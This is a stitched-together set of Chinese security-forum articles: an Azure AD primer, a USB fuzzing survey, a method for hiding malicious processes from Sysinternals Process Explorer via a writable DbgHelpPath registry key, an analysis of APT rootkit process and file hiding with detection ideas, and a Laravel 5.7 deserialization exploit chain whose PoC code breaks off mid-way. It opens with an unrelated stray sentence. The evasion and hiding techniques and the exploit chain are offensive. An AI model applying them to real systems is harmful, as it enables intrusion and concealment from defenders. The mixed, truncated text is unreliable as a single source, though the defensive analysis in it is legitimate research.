完整攻击过程的视频如下所示。读者一定要坚持到视频结尾，欣赏一下路由器LED灯光所传递的欢迎信息。 | 社区文章 |
# Azure AD
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01什么是Azure AD
经过之前中安网星的一系列科普，相信大家对AD已经不陌生了。在Azure AD出现前，微软早在 Windows 2000 中就已引入了 Active
Directory
域服务，使组织能够使用每个用户的单一标识管理多个本地基础结构组件和系统。传统AD域服务的核心价值是提供一套完整的用户身份验证系统，是一个基础身份验证平台。而在2021年的今天，随着企业业务场景的扩张，AD逐渐不能适应高速发展的企业IT架构变化，微软也在寻求新的解决方案而推出了Azure
AD。
通常，对Azure AD最大的误解就是把它当成云中的 Active Directory，但事实并非如此，Azure
AD的覆盖范围更为广泛。简而言之，Azure AD不是在Azure云中直接搭建一套AD，而旨在将现有的Active Directory 实例扩展到云。
为了更好地理解 AD 和 Azure AD 的关系，我们可以看下图中的微软的参考架构。
Azure AD 通过为组织提供一种适用于在云中和本地所有应用的标识即服务解决方案，将目录服务方案提升到了一个新层次。同时，Azure
AD是基于云的身份和访问管理解决方案，它也可以与本地AD同步，为本地和基于云的系统提供身份验证。Azure AD的应用还拓展出以下的功能：
1.Azure AD 通过多重身份验证和无密码技术显著的提高了密码安全性。
在AD中的凭据是基于密码、证书或智能卡的身份验证，通过密码策略来管理密码的长度、到期时间和复杂性，以此确保AD中密码的安全性；而在Azure
AD中对云和本地使用智能密码保护，Azure
AD通过多重身份验证和无密码技术显著的提高了密码安全性，同时也为用户提供了自助重置密码的功能来提升用户体验，降低技术支持成本。
2.Azure AD访问本地应用的方式产生变化
AD当中大多数本地应用都使用LDAP、NTLM或kerberos协议来控制用户的访问。Azure AD则可使用在本地运行的Azure
AD应用程序代理程序来访问这些类型的本地应用。
3.Azure AD完全基于云
Azure AD 的优势在于它完全基于云所提供的灵活性。这意味着它既可以充当组织的唯一目录，也可以通过 Azure AD Connect
与本地AD目录服务同步。无论采取哪种方式，它都使本地和基于云的用户能够访问相同的应用程序和资源，同时受益于诸如单点登录 (SSO)、多重身份验证
(MFA)、条件访问等功能。更重要的是，它提供了一个单一位置来管理整个 IT 资产中的身份、安全性和合规性控制。
## 0x02 如何加入Azure AD
Azure AD提供了广泛的功能以简化和集中管理，同时也集成了跨环境的应用程序，下面介绍如何将一台设备加入Azure AD。
以下步骤都建立在已注册了一个Azure AD账号的基础上。
登录Azure AD ，设备中可以看到目前还没有设备加入Azure AD。
在系统设置中，找到连接工作或学校账户，点击连接来加入Azure AD。
在弹出的页面点击将此设备加入Azure Active Directory。
输入Azure AD的账号密码后，确认无误后点击加入。
加入后即可看到组织名称。
在加入Azure AD后即可在Azure 的web页面里看到设备信息。
注销后用Azure AD账户登录。
登陆后需要设置一些验证方式。
如果需要进行二次认证的话，在进行二次认证之后，即可设置解锁这台设备的pin码。
设置好后，现在就已经可以通过Azure AD的账户登入这台机器了。
## 0x03 Azure AD 身份认证安全性
Azure AD
的主要功能之一，是在用户登陆设备、应用程序或服务时进行直接验证或验证凭据。如果只使用密码对用户进行身份验证，换言之，攻击者若通过爆破或抓取的方式获取到用户密码，也一样可以凭用户本人的信息登录，这也是AD域的弱点之一。
因此为了提高安全性并减少对技术支持的需求，Azure AD身份验证包括以下组件：
自助服务密码重置
支持在自助服务平台进行密码重置，减少管理员的工作量。
条件访问
通过使用条件访问策略，可以在需要时应用正确的访问控制，以确保组织安全。
图源微软官方文档
无密码认证
使用无密码方法登录时，凭据通过使用 Windows Hello 企业版生物识别或 FIDO2 安全密钥等方法提供。攻击者无法轻易复制这些身份验证方法。
将密码更改写回本地AD
密码写回可用于将 Azure AD 中的密码更改同步回本地 AD DS 环境。Azure AD Connect 提供了一种安全机制，可将这些密码更改从
Azure AD 发送回现有的本地目录。
## 0x04 总结
总体来说，Azure
AD是微软对传统AD的演进，引进了很多新的思想理念，比如无密码的概念、条件访问的概念，这也是身份验证的未来，但是纯云化的环境需要企业将核心数据托管在微软的Azure上，对于企业而言，面临着监管以及合规的挑战。
了解更多AD域协议相关，欢迎关注中安网星 | 社区文章 |
# USB Fuzzing技术总结
##### 译文声明
本文是翻译文章，文章原作者 Dave Jing Tian，文章来源：davejingtian.org
原文地址：<https://davejingtian.org/2019/07/17/usb-fuzzing-a-usb-perspective/>
译文仅供参考，具体内容表达以及含义原文为准。
Syzkaller最近已经可以支持USB的模糊测试，并且已经在Linux内核中发现了80多个漏洞。我将通过这篇文章提供一些关于USB模糊测试的方法。
## 1.了解USB堆栈结构
由于协议的主从性质，USB分为两个部分：USB主机和USB设备。当我们谈论USB
Fuzzing时，它通常指的是USB主机，例如带有标准USB端口的笔记本电脑。
下图是Linux USB主机堆栈。从下到上是硬件，内核空间和用户空间。
USB主机控制器设备（又名HCD）是连接到系统PCI总线的PCI设备，通过USB端口提供USB连接支持。根据USB技术的发展，它也被称为USB
1.x的UHCI / OHCI，USB 2.x的EHCI和USB
3.x控制器的XHCI。要使内核使用此控制器，我们需要一个USB主机控制器驱动程序，它可以设置PCI配置和DMA。上面是USB核心，实现底层USB协议栈，并使用通用内核API（submit
/ recv URB）抽象发送/接收USB数据包的方式。上面是不同的USB设备驱动程序，例如USB
HID驱动程序和USB大容量存储驱动程序。这些驱动程序可以实现不同的USB类协议，与内核中的其他子系统结合在一起。
由于Linux也广泛用于嵌入式系统，例如一些USB加密狗，USB设备指的是USB加密狗硬件和Linux内的USB模式。它与USB主机模式完全不同。
下图显示了Linux内核中的USB设备的堆栈。
在底部，我们有USB设备控制器（aka，UDC）。与HCD一样，UDC也在PHY层内实现特定版本的USB标准。但是，与英特尔最常见的HCD不同，UDC
IP可以从不同的硬件供应商中找到，例如DWC2 / 3，OMAP，TUSB和FUSB。这些控制器通常具有自己的设计规范，并且当它们支持USB On-The-Go（aka，OTG）模式时也可遵循HCD规范（例如，XHCI规范）。OTG允许UDC在USB主机和USB设备模式之间切换。例如，当Android设备与笔记本电脑作为MTP连接时，Android
USB设备控制器处于USB设备模式。如果USB闪存驱动器插入Android设备，UDC将在USB主机模式下工作。支持OTG的UDC也被USB
3.x标准中的双角色设备（DRD）控制器取代，因此，不需要OTG电缆来切换UDC的角色，因为角色切换是在用于DRD控制器的软件中完成的。
要使用UDC，需要内核中的UDC驱动程序，通过行业标准总线提供连接和配置，包括AHB和AXI接口，以及为更高层设置DMA。与USB主机堆栈中的USB核心一样，USB设备堆栈中的USB设备核心提供API，通过回调和配置来注册和实现USB设备功能。例如，我们可以通过请求现有的大容量存储功能（f_mass_storage）将USB描述符传递到USB设备核心并实现典型的USB大容量存储设备。
## 2.Syzkaller USB模糊器
由于可编程USB硬件模糊器FaceDancer的出现，USB模糊测试开始吸引更多关注。它支持USB主机和设备模式仿真，并允许发送预先形成或格式错误的USB请求和响应。Umap
/ Umap2
提供了一个用Python编写的模糊测试框架，它具有面向FaceDancer的不同USB设备和响应模板。TTWE框架通过使用分别模拟USB主机和设备的2个FaceDancers在USB主机和USB设备之间启用MitM。此MitM允许两个方向的USB数据包突变，从而实现双方的模糊测试。
所有这些解决方案都集中在USB主机堆栈上，因为通常都是会出现恶意的USB设备而不是恶意USB主机，例如笔记本电脑，而且大多数USB设备固件都是闭源的，因此难以分析。因此，大多数漏洞都在USB内核层（用于解析USB响应）和一些常见的USB驱动程序（例如，键盘）中找到。
FaceDancer执行的很慢，这使得任何基于它的解决方案都无法进行扩展。反馈是另一个重要问题，模糊输入的变异基于模板和随机化，没有来自目标的实时反馈，比如代码覆盖率，除了系统日志记录以外。因此，模糊效率很值得怀疑的。
为了摆脱硬件依赖性，vUSBf 使用QEMU /
KVM运行内核映像并利用QEMU中的USB重定向协议将对USB设备的访问重定向到由模糊器控制的USB仿真器，如下所示：
虽然vUSBf提供了一个漂亮的编排体系结构来并行运行多个QEMU实例来解决可扩展性问题，但模糊器本身基本上是基于模板的测试用例。反馈仍然依赖于系统日志记录，如下所示：
SystemTap用于检测内核以确定crash数量。给定路径的crash数表示代码覆盖率。POTUS还在QEMU中实现通用USB虚拟设备，以使用可配置的设备描述符和数据传输来模拟不同的USB设备。VM中的Driver
Exerciser使用系统调用来使用暴露给VM的不同设备节点。与vUSBf相比，POTUS包括模糊测试反馈机制并支持更多USB设备仿真。
由于USB事件和操作发生在IRQ或内核上下文而不是进程上下文中，基于系统调用的跟踪和代码覆盖根本不起作用。我们需要能够在内核中的任何位置报告代码覆盖率。为此，我们需要使用扩展的KCOV内核API来注释与USB相关的内核源代码，以报告代码覆盖率。Syzkaller不使用QEMU，而是使用gadgetfs将fuzzer内核驱动程序暴露给用户空间，然后可以操作输入进行模糊测试。通过在内核配置中启用USB主机堆栈和USB设备堆栈并使用虚拟HCD和UDC驱动程序将它们连接在一起，如下所示，Syakaller能够模糊USB主机设备驱动程序，如USB
HID。
Syzkaller
USB模糊器可能是第一个真正的基于覆盖的USB主机设备驱动模糊器，这要归功于现有的Syzkaller基础架构以及同时桥接USB主机和设备的攻击测试。虽然它发现了大量的漏洞，但模糊器的局限性也暴露出来，发现的大多数问题都发生在驱动程序的初始化阶段。在用户空间中，模糊器能够通过探索USB设备描述符中的不同VID
/ PID组合来配置模糊内核驱动程序。
## 3.USB Fuzzing示例
所有这些模糊测试解决方案都集中在USB主机堆栈上，尤其是USB主机设备驱动程序上。这是由于人们经常将USB引用到USB主机堆栈上，并且这些设备驱动程序包含了比内核中的其他组件（例如，Windows上的设备驱动程序）更多的漏洞。但是，在这一点上，我相信你已经意识到到目前为止，USB模糊测试所涵盖的内容是冰山一角。
### HCD驱动程序模糊测试
要直接Fuzzing HCD驱动程序的内部输入，我们需要能够改变暴露给USB内核的内核API的参数，并从HCD驱动程序获取代码覆盖率。要直接Fuzzing
HCD驱动程序的外部输入，我们需要改变DMA缓冲区和事件队列，以及来自HCD驱动程序的代码覆盖率。由于TX和RX的代码路径不同，因此在这两种情况下代码覆盖率通常也不同。
因此，我们需要细粒度代码覆盖率报告来展示这种情况。在DMA缓冲区和事件队列上进行变换实质上是构建具有Fuzzing
功能的HCD仿真器。对于常见的HCD驱动程序，例如Intel
XHCI，QEMU已经提供了相应的HCD仿真，并且可以尝试在那里添加模糊测试功能。对于QEMU不提供HCD仿真的其他HCD驱动程序，需要从头开始构建HCD仿真。
### USB设备模糊测试
我们没有对USB设备进行系统的模糊测试。嵌入式系统（例如Android设备）中USB
OTG和DRD控制器的广泛采用将威胁模型扩展到了USB主机。例如，在USB充电期间，没有人希望他们的手机被黑客入侵。在架构上，Syzkaller USB
fuzzer设想了一种模糊USB设备堆栈的方法，如下所示。
用户空间模糊器不会让用户空间模糊器与USB内核驱动程序通信，而是操作USB主机设备驱动程序。有希望，模糊器活动将通过USB主机堆栈传播到USB设备/小工具堆栈。因此，我们需要配置内核以在同一内核映像中启用所有不同的设备功能，以及代码覆盖率报告。
Syzkaller设想了一种模糊USB设备堆栈的方法。Syzkaller是一个系统调用模糊器，意味着输入突变发生在系统调用参数中，但这并不意味着我们必须在系统调用层（例如用户空间）进行模糊测试。再次查看上图，我们可以找到从模糊器到模糊测试目标的路径（例如USB主机设备驱动程序或USB设备驱动程序）。怎么知道所有模糊输入是否成功传播到目标而不是被中间层过滤？一个核心问题是基于系统调用的模糊测试是否适合内核中的USB模糊测试。同样，Syzkaller
USB模糊器可以适应Syzkaller本身的限制，而不是考虑从头开始构建USB模糊器。
缩短模糊测试路径是将模糊器输入到目标代码附近。例如，我们可以通过在QEMU中构建USB
UDC仿真器/模糊器来摆脱整个USB主机堆栈，直接启用UDC驱动程序模糊测试。但是，这并不意味着任何DMA写入都可以转换为对上层USB设备驱动程序的有效USB请求。因此，模糊测试路径确实更短，但我们仍然希望更好的变异算法和更细的代码覆盖粒度。最后，我们可能需要在堆栈中的不同层上使用不同的模糊器，确保所有模糊输入都应用于目标而不进行过滤。例如，我们可能需要构建一个USB主机模糊器，直接向不同的USB设备驱动程序发送USB请求。
### Android USB模糊测试
Android可能是最重的USB设备堆栈用户，通过维护自己的内核分支并实现额外的USB设备功能驱动程序（例如MTP）。与典型的USB主机相比，Android设备中的OTG
/ DRD支持也使攻击面增加了一倍，最根本的挑战是运行Android内核映像，其中包含使用QEMU的真实Android设备使用的相应UDC /
DRD驱动程序。由于SoC自定义和变化，在QEMU中运行非AOSP内核会带来额外的困难。这就是为什么许多Android模糊测试仍需要物理设备。
### 协议引导/状态模糊测试
要模糊USB主机或设备驱动程序，我们需要与目标建立虚拟连接，例如确保内核驱动程序已初始化并准备好处理输入，有状态并引导模糊器学习结构输入。最后，在包含其他层以重用现有协议和状态控制之间进行权衡，从而增加模糊路径和复杂性，并在模糊器中直接实现轻量级协议感知/状态模糊测试，以减少模糊测试路径。
#### Type-C / USBIP / WUSB模糊测试
除了USB主机和USB设备之外，USB中还有更多东西，包括USB
Type-C，USBIP，WUSB等。虽然我们可以重用USB模糊测试中的一些技术，但这些技术引入了不同的软件堆栈。
## 4.总结
这篇文章探讨了USB模糊测试，这是软件安全和操作系统安全性最近的热门话题。我们首先要了解USB堆栈是什么，以及为什么USB比人们通常想象的更大，而不是将USB视为另一个软件。我们调查了一些以前关于USB模糊测试的工作，从使用专用硬件到运行QEMU。
## 参考文献
[1] <https://github.com/google/syzkaller>
[2]
<https://github.com/google/syzkaller/blob/e90d7ed8d240b182d65b1796563d887a4f9dc2f6/docs/linux/found_bugs_usb.md>
[3]
<https://docs.google.com/presentation/d/1z-giB9kom17Lk21YEjmceiNUVYeI6yIaG5_gZ3vKC-M/edit?usp=sharing>
[4] <http://goodfet.sourceforge.net/hardware/facedancer21/>
[5] <https://github.com/nccgroup/umap2>
[ 6] <https://github.com/schumilo/vUSBf>
[7] <https://www.usenix.org/conference/woot17/workshop-program/presentation/patrick-evans>
[8] <https://elinux.org/Tims_USB_Notes>
[9] <https://www.usenix.org/conference/woot14/workshop-program/presentation/van-tonder>
[10]<https://davejingtian.org/2017/06/01/understanding-kcov-play-with-fsanitize-coveragetrace-pc-from-the-user-space/>
[11] <https://blogs.synopsys.com/tousbornottousb/2018/05/03/usb-dual-role-replace-usb-on-the-go/>
[12]
<https://github.com/google/syzkaller/commit/e90d7ed8d240b182d65b1796563d887a4f9dc2f6>
[13] [https://github. com/xairy/linux
/commit/ff543afbf78902acea566fa4c635240ede651f77](https://github.%20com/xairy/linux%20/commit/ff543afbf78902acea566fa4c635240ede651f77)
[14]
<https://github.com/xairy/linux/commit/700fb65580efc049133628e7b9f65453bb686231> | 社区文章 |
# 【技术分享】如何利用SysInternals Suite来隐藏你的进程
|
##### 译文声明
本文是翻译文章，文章来源：riscybusiness.wordpress.com
原文地址：<https://riscybusiness.wordpress.com/2017/10/07/hiding-your-process-from-sysinternals/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：190RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面的话**
****
我所做的研究不仅是“反分析”，而且我还想绕过安全分析并执行恶意代码。因此，
通过研究我发现了一种能够绕过常见安全分析工具的方法，今天给大家介绍的就是Sysinternals Suite。简而言之，在Sysinternals
Suite的帮助下，我可以在不需要管理员权限或SEDebug权限的情况下完成我的“反分析”操作。最终实现的效果就是：恶意程序正在运行，但不会显示在Procexp.exe之中。
**Sysinternals Suite**
****
Sysinternals Suite是微软发布的一套非常强大的免费工具程序集，一共包括将近70款Windows工具。用好Windows
Sysinternals Suite里的工具,你将更有能力处理Windows的各种问题,而且不用花一分钱。Sysinternals
之前为Winternals公司提供的免费工具，Winternals原本是一间主力产品为系统复原与资料保护的公司，为了解决工程师平常在工作上遇到的各种问题，便开发出许多小工具。之后他们将这些工具集合起来称为Sysinternals，并放在网络供人免费下载，其中也包含部分工具的源代码，该工具集一直以来都颇受IT专家社群的好评。
**Procexp的“隐藏复活节彩蛋”-“HiddenProcs”**
****
首先我研究的是Procexp（Procexp是windows系统进程管理的一个比较方便的工具,能快速的发现病毒,结束不必要的进程。除此之外，它还可以详尽地显示计算机信息：CPU、内存使用情况、DLL和句柄等信息）。我在IDA中对Procexp进行了分析，并且发现了一段非常有意思的代码，具体如下图所示：
这段代码会搜索一个名叫“HiddenProcs”的MULIT_SZ寄存器值。如果这个值存在的话，它将会对一系列新生成的进程名进行解析操作。我原本打算将这些代码提取出来进行进一步分析，但不幸的是，我发现负责隐藏这些进程名的实际代码其实并不存在（不知道是不是IDA的问题），所以我其实发现的是一个无效的注册表键，于是我只能换一种办法了。
**Procexp镜像劫持一（结果：失败）**
****
如果我们可以劫持procexp的话，那么我们就可以控制它显示给用户的内容了。当你在64位操作系统中运行Procexp32.exe（或者其他的32位
Sysinternal工具）的时候，它将会在本地磁盘中导出一个64位版本的进程，然后再自动运行这个64位的版本。这样一来，如果我们能能够劫持这个进程的话，会怎么样呢？
实际上，我们的目标就是如何利用Procomon32来注入Payload或运行恶意代码。这个程序负责向本地磁盘写入目标进程的64位版本并在64位操作系统中运行该进程。请大家先看看上面这张图片，注意图片顶部绿色的节点（Drop64bitProcExp函数）以及图片底部粉色的节点（CreateProcessW），这两段程序在执行的过程中，两者之间有一定的时间间隔。因此，如果我们能够保证让ProExp32.exe在上图中红色部分的地方运行得尽可能的久，我们就可以不断地尝试写入恶意进程了，但我们能不能在CreateProcess被调用之前劫持整个进程呢？
接下来我便对此进行了尝试，我开发了一个简单的PoC，然后将我的线程设置成了TIME_PRIORITY_TIME_CRITICAL，并尝试向目标程序写入我自己的代码。我的目标就是在上图所示的那两个节点之间执行我自己的恶意代码。
当这个程序正在运行并且用户尝试打开ProcExp时，我得到了如下图所示的错误信息。就此看来，我的镜像劫持方法并没有成功，我还得尝试其他的方法。
**Procexp镜像劫持二（结果：成功）**
****
在对文件生成代码（负责生成进程64位版本的代码）进行了深入分析之后，我们发现如果“wfopen_s(“ProcExp64.exe”,
“wb”)”无法成功的话，ProcExp并不会立刻退出执行。
那么这里肯定就存在安全漏洞了，只要“GetFileAttributes”能够成功执行，那么它将会忽略fopen可能会返回的错误信息。
这样一来，镜像劫持很容易就能够实现了。我们只需要将我们自己的“ProcExp64.exe”写入到临时目录之中，然后将该程序的属性修改为“只读”。接下来，“fopen(“ProcExp64.exe”
,”wb”)”将会失败，但是当程序尝试执行“GetFileAttributes”时将会成功，而程序的执行流程将会带领我们正确地“走”到CreateProcess。
如下图所示，我们的进程在本地磁盘的临时目录%temp%中生成了一个伪造的ProcessExplorer，文件名称为“PROCEXP64.exe”，该文件的属性为“只读”属性（你可以自己在家动手尝试一下）。我生成的是一个很简单的程序，它只会在命令控制台中输出字符串“Hijacked”。具体如下图所示:
接下来，当我们尝试运行Procexp.exe时，它便会触发其中的安全漏洞，并且运行我们所生成的“PROCEXP64.exe”。
劫持效果如下图所示：
我设计的这个PoC只是想告诉大家这种劫持方法其实是可行的，但我认为我们其实可以做得更加好，因为上面给出的这种劫持方法只能适用于在64位操作系统中运行32位Sysinternals工具的场景。
**DLL劫持（最终的解决方案）**
****
接下来给大家介绍的就是我最终的解决方案了，即最终的PoC。首先我们来看一看Sysinternal的注册表键，大家可以看到其中一个名叫“DbghelpPath”的注册表键。这个注册表键对于绝大多数应用程序来说都是可写的（USER注册表单元）：
DbghelpPath注册表键指向的是一个存放“dbghelp.dll”文件的可信路径。非常好，我所要做的就是劫持这个路径。我给出的PoC代码可以让这个注册表键指向临时目录%TEMP%，然后我再向临时目录(%TEMP%/DbgHelp.dll)中存放一个我自己的恶意dbghelp.dll文件就可以了。当Procexp开始运行之后，它将会加载这个路径下的DLL文件。当它成功加载了我的恶意DLL文件之后，我们就可以利用ProcExp程序来隐藏我们的恶意进程了。点击【[这里](https://github.com/RISCYBusiness/Jadoube/blob/master/AntiSysInternals/AntiSysInternals/Procexp.cpp)】获取我的PoC代码。
整个劫持过程需要涉及到对ProcExp进程的运行逻辑以及链表结构进行逆向分析，下图显示的就是我们的PoC代码成功利用ProcExp运行了一个名叫“Malicious.exe”的恶意进程：
**总结**
****
整个劫持过程其实并不难，而最棒的一点就在于，几乎每一款SysInternal工具都拥有这样一个可写的DbgHelp路径注册表键，所以从理论上来说，你可以利用任何一款Sysinternal
Suite工具来实现本文所介绍的攻击技术。 | 社区文章 |
**APT黑客组织已被大众耳熟能详，由于rootkit技术高权限，更底层等特性，常被恶意软件用于对抗杀毒软件，自我保护等方向，历来是黑白“兵家必争之地”。本文整理APT常用的自我保护技术，揭开rootkit神秘面纱，知己知彼，百战不殆**
#### ➬ Ramsay
**Darkhotel框架Ramsay于今年5月被披露，具备突破物理隔离限制新特性，引入Rootkit新组件，达到自我保护的目的。**
**1) 初始化配置:**
**2) sub_179FA(),构造初始化，主类HideDriver为纯虚类，如下所示：**
**3)初始化以下指针调用，如下所示:**
**4)主要初始化功能如下：**
| sub_1AFE4 | 初始化Resource读写锁 |
| sub_1B000 | 初始化Mutex互斥体 |
| sub_1B054 | 获取KeServiceDescriptorTable基地址 |
| sub_1B064 | 获取KeServiceDescriptorTable.ServiceTableBase |
| sub_1B076 | 获取KeServiceDescriptorTable基地址 |
| sub_1B086 | 获取KeServiceDescriptorTable.ServiceTableBase|
| sub_1B01C | HideDriver::FileHider |
| sub_1B038 | HideDriver::ProcessHider |
**5) IRP_MJ_DEVICE_CONTROL函数，如下所示：**
**6)PCHunter查看挂钩情况，如下所示：**
**7)枚举SyStem进程，好处可以兼容不同版本ImageFileName结构体偏移。**
**8)获取SSDT基地址，Hook函数NtQueryDirecToryFile。**
**9)完成钩子安装**
##### ➥ 文件保护
**10)ZwQuerDirectoryFile用于文件保护，过滤函数如下：**
正常调用ZwQuerDirectoryFile访问，根据文件类型(不同结构体)进行分发处理，通过Hook-ZwQuerDirectoryFile隐藏文件有多种，过滤FileBotDir类型，pFileInfo->FileName命中，FILE_BOTH_DIR_INFORMATION.NextEntryOffset覆盖或摘链等。
##### ➥ 进程保护
**11)ZwQuerSystemInfomation用于进程保护，过滤函数如下：**
用户层使用EnumProcesses和CreateToolhelp32Snapshot遍历进程
，底层调用ZwQuerSystemInfomation函数，解析SYSTEM_PROCESS_INFORMATION结构体，PID过滤，命中后对结构体篡改或摘链实现进程隐藏。
##### ✎ 小结：
**SSDT是一门古老的rootkit技术，中文称叫系统服务描述符表，该表将ring3的Win32
API和ring0内核API联系起来，包含地址索引的基地址、服务函数个数，内核攻防技术演变的过程中，SSDT是其中重要角色，对抗从未停止。**
#### ➬ HellSing
**Hellsing黑客组织被披露黑吃黑，活跃在亚太地区，使用钓鱼手段破环东南亚，印度，美国等外交目标而闻名**
##### ➥ 文件保护
**1) 文件保护，如下所示：**
**FileSystem\FastFat和FileSystem\Ntfs，当系统删除一个文件时候向ntfs或者fastfat驱动发送派遣函数IRP_MJ_SET_INFORMATION请求，当打开一个文件会响应IRP_MJ_CREATE。**
**2) 利用ObReferenceObjectByName获取了NTFS驱动对象。**
**3) 替换派遣函数IRP_MJ_CREATE指针函数，如下所示：**
**4) Hook分析，通 _IO_STACK_LOCATION._FILE_OBJECT.FileName，来判断是否是保护的文件：**
**5)
将文件路径进行任意替换，指向其它的字符串，对文件操作时候，处理派遣IRP_MJ_CREATE修改FILE_OBJECT.FileName从而达到文件保护功能。**
##### ➥ 进程保护
**1）控制码：2352220，执行_EPROCESS.ActiveProcessLink摘链操作，隐藏进程。**
**2）编写测试驱动，发送CTL_PROCESS_HIDE隐藏PID成功。**
#define CTL_PROCESS_HIDE \
CTL_CODE(FILE_DEVICE_VIDEO, 0x3917, METHOD_BUFFERED, FILE_ANY_ACCESS)
**3）控制码: 23511128，用户层传递需要保护的文件数组，进行赋值操作。**
##### ✎ 小结：
**该组织使用rootkit技术要比SSDTHook略高一筹，针对NTFS和FASTFAT驱动进行fsd
Hook实现文件保护，使用EPROCESS结构体进行摘链实现进程隐藏。**
#### ➬ 防御检测
**上文讲述Ramsay框架和Hellsing组织使用的Rootkit技术手段，达到恶意软件自我保护的目的，如何检测RootKit实现挂钩恢复？一探究竟。**
##### ➥ Ssdt_hook检测
**1.保存系统当前SSDT地址，发送至用户层或直接内核层作比较，代码如下：**
**2.将本地文件映射到内存，重定向地址，与当前系统函数地址对比，如果不相同标记为SSDTHOOK，替换原始函数地址，完成恢复。**
##### ➥ fsd_hook检测
**1.通过IDA查看ntfs.sys派遣函数，观察机器码，读取ntfs和fastfat文件(PE)，代码段进行枚举搜索，通过机器码寻找原始派遣函数地址，如下所示：**
**2.加载Ntfs，拷贝对象派遣函数，如下所示：**
**3.映射本体文件，以AddressOfEntryPoint+ImageBase为枚举机器码入口点，如下所示。**
**4.枚举机器码保存派遣函数地址，与当前内存加载派遣函数地址比较，需要重定位，不匹配标记为FSD HOOK，替换原始派遣函数，完成恢复，伪代码如下：**
**上文对rootkit挂钩介绍了扫描的方法，如何检测被隐藏的进程和文件呢？部分检测思路如下：**
##### ➥ 进程断链检测
**1.Windows 32bit系统空间0x80000000-0xFFFFFFFF
，0x80000000为起始地址，判断地址是否有效,逐一解析ObjectType是否进程类型，递增4kb枚举系统空间，该方式适用于其它类型内核对象隐藏。**
**2.枚举PspCidTable找到隐藏进程，PspCidTable系统中全部进程线程对象，索引便是PID和TID(如果该链也被断开，则无效)。**
##### ➥ 文件隐藏检测
**1.读取NTFS流，解析MFT，获取完整的文件列表，检测磁盘被隐藏的文件。**
**2.针对fsd hook，可以使用更底层方式来检测，挂钩disk.sys比fs更底层同样可以实现低层检测。**
##### ✎ 小结
**rootkit技术随着安全学术的普及，神秘面纱逐步被揭开，虽然64bit系统部分rootkit不再适用，道高一尺魔高一丈，盗取数字签名安装驱动木马现象一直存在，内核安全检测和防御技术是必要手段，也是安全核心。**
#### IOC：
3DE2A22BABB69E480DB11C3C15197586
07858D5562766D8239A7C961FEEA087C | 社区文章 |
# 环境搭建
版本:Laravel5.7
PHPstudy+PHP7.3.5（PHP >= 7.1.3）
直接用composer安装
composer create-project laravel/laravel=5.7 laravel5-7 --prefer-dist
php artisan serve启动
接下来添加路由
routes\web.php下添加一个index路由
Route::get("/index","\App\Http\Controllers\TestController@demo");
app\Http\Controllers下新建一个TestController.php控制器
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class TestController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.7";
}
}
# 漏洞分析
在laravel5.7的版本中新增了一个PendingCommand类,定位在
vendor\laravel\framework\src\Illuminate\Foundation\Testing\PendingCommand.php
官方的解释该类主要功能是用作命令执行，并且获取输出内容。
进入这个类中,看到结尾有个__destruct()方法,可以作为反序列化的入口点
$this->hasExecuted的默认值是false
那这里就可以直接调用run()方法
跟进run()
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}
return $exitCode;
}
看到一个参数可控的调用
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters)
不过在此之前调用了一个mockConsoleOutput函数,跟进看看
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);
return $question[1];
});
}
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}
这个Mockery::mock实现了一个对象模拟,但是我们的目的是要走完这段代码,这里用断点调试去单点调试,让他不报错然后回到下面参数可用的调用,不过这里还会调用一个createABufferedOutputMock函数,继续跟进
private function createABufferedOutputMock()
{
$mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
->shouldAllowMockingProtectedMethods()
->shouldIgnoreMissing();
foreach ($this->test->expectedOutput as $i => $output) {
$mock->shouldReceive('doWrite')
->once()
->ordered()
->with($output, Mockery::any())
->andReturnUsing(function () use ($i) {
unset($this->test->expectedOutput[$i]);
});
}
return $mock;
}
又实现了一次对象模拟,我们的目的还是为了走完这段代码,继续往下看,进入foreach
里面的$this->test->expectedOutput这里的$this->test可控,去调用任意类的expectedOutput属性,或者去调用__get()魔术方法,随便选取一个可用的get方法就行,这里可以用DefaultGenerator.php类或者Illuminate\Auth\GenericUser类,这个就很多了,只要找到个可用的就行
DefaultGenerator.php
GenericUser.php
随便用一个就行,只是要注意这里是foreach,所以我们要返回一个数组
$this->default=['T0WN'=>"hacker"]或者$this->attributes['expectedOutput']=1
回到mockConsoleOutput方法，也进入了应该foreach循环
这里的绕过方法和刚才一样去调用get方法,为了一次性控制,我就采用DefaultGenerator.php的get方法,然后走完这段代码回到run方法
但是这里的$this->app需要赋值为一个类,不然会报错
在注释中说了这里的是应该为\Illuminate\Foundation\Application类
接下来就是产生漏洞的关键代码
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
Kernel::class是完全限定名称，返回的是一个类的完整的带上命名空间的类名
Kernel::class在这里是一个固定值Illuminate\Contracts\Console\Kernel,去调用$this->app[Kernel::class]里面的call函数
这段代码有点晦涩,先写一个poc试试,然后再来单点调试
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
